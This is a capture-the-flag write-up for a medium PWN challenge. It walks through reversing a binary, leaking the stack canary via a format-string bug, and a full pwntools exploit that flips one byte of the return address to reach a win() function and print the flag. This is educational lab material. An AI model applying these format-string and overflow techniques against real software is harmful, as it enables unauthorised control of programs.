Locked Out

907 Words · 4 Minutes, 7 Seconds

Category: PWN

Difficulty: Medium

Author: Togby & Nissen

Challenge Description

After Brunnerne Inc. refused to raise our wages, us bakers on the factory floor went on a huge strike. Management responded with a lockout - and apparently changed all our PIN codes.

But like… I forgot to finish my piece of brunsviger, so I really need to get back in before it gets dry.

We get only a binary (locked_out) and a flag.txt — no source. The program asks for a PIN, gives us four tries, and taunts us when we’re wrong.

Approach

Step 1 — Triage

$ checksec locked_out
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Canary, NX, and PIE are all on — no shellcode, no fixed addresses. But the binary isn’t stripped, so the function names tell a story: play, main, and a suspicious win.

Step 2 — Reverse the logic

win() simply fopen("flag.txt")s and prints it line by line — but nothing ever calls it. Getting the flag means hijacking control flow into win.

play() is where everything happens:

int tries = 4;
srand(time(NULL));
pincode = rand() % 10000;           // the "PIN"
while (tries > 0) {
    char buf[?];                    // buf @ rbp-0x14
    memset(buf, 0, 5);
    printf("Please enter PIN: ");
    read(0, buf, 0x20);             // reads 32 bytes -> overflow
    buf[4] = 0;                     // <-- truncates buf at index 4
    if (atoi(buf) == pincode) { puts("Correct! Door is unlocked."); break; }
    tries--;
    printf(buf);                    // <-- FORMAT STRING BUG
    printf("%d is wrong! %d tries left.\n\n", ...);
}

Two bugs, and a trap:

Stack layout of play’s frame relative to buf (rbp-0x14):

offset from bufwhatnote
+8tries counterrbp-0xc
+12stack canaryrbp-0x8
+20saved RBPrbp
+28saved RIPrbp+8

Step 3 — The single-byte overwrite insight

read only takes 32 bytes, and the saved RIP starts at buf+28. So we can reach the saved RIP but only overwrite its lowest few bytes. That’s actually all we need:

saved RIP  = base + 0x13bf   (return into main after `call play`)
win        = base + 0x13da

These addresses differ only in the low byte (0xbf0xda); every higher byte, including all of the randomized PIE base, is identical. So flipping one byte turns the return address into winno PIE leak required.

To perform a clean 1-byte overwrite, send exactly 29 bytes: read writes buf[0..28], so buf[28] (= saved RIP byte 0) becomes 0xda and bytes 1–7 stay intact.

Two things must survive the overwrite:

  1. The canary (buf+12) — leak it with the format string and write it straight back.
  2. The tries counter (buf+8) — our filler would corrupt it into a huge number and the loop would never end. Set those 4 bytes to 0, so tries-- makes it negative and the while (tries > 0) loop exits, triggering the ret into win.

Step 4 — Leak the canary

buf sits at rsp+0xc, and printf’s stack arguments start at %6$. The canary at rbp-0x8 lands exactly on %9$:

$ (echo '%9$p') | ./locked_out
Please enter PIN: 0x7d0b89061d157200 is wrong! 3 tries left.

Trailing 00 — that’s the canary. Position confirmed: %9$p.

Step 5 — Full exploit

#!/usr/bin/env python3
from pwn import *
import sys, re
context.arch = 'amd64'

WIN_LOW_BYTE = 0xda    # win=base+0x13da vs saved ret=base+0x13bf: only the low byte differs

if len(sys.argv) > 1 and sys.argv[1] == "remote":
    io = remote(sys.argv[2], int(sys.argv[3]), ssl=True)   # brunner remote is behind TLS
else:
    io = process("./locked_out")

# Attempt 1: leak the canary (4-char format string, %9$ = canary)
io.sendafter(b"PIN: ", b"%9$p")
line = io.recvuntil(b"tries left.")
canary = int(re.search(rb"0x[0-9a-f]+", line).group(), 16)
log.success("canary = %#x" % canary)

# Attempt 2: overflow -> preserve canary, zero the counter, 1-byte RIP flip
payload  = b"A"*8
payload += p32(0) 
payload += p64(canary)
payload += b"B"*8 
payload += bytes([WIN_LOW_BYTE])
assert len(payload) == 29
io.sendafter(b"PIN: ", payload)

print(io.recvall(timeout=5).decode(errors="replace"))
$ python3 exploit.py remote locked-out-...-danmark.challs.brunnerne.xyz 1337
[+] canary = 0x...00
AAAA is wrong! -1 tries left.

brunner{no_brunsviger_left_behind}

The -1 tries left confirms the counter trick fired; play returns straight into win, which prints the flag.

Flag

brunner{no_brunsviger_left_behind}

Reflections and Learnings


pwnformat-stringstack-canarybuffer-overflowret2winpwntools

PWN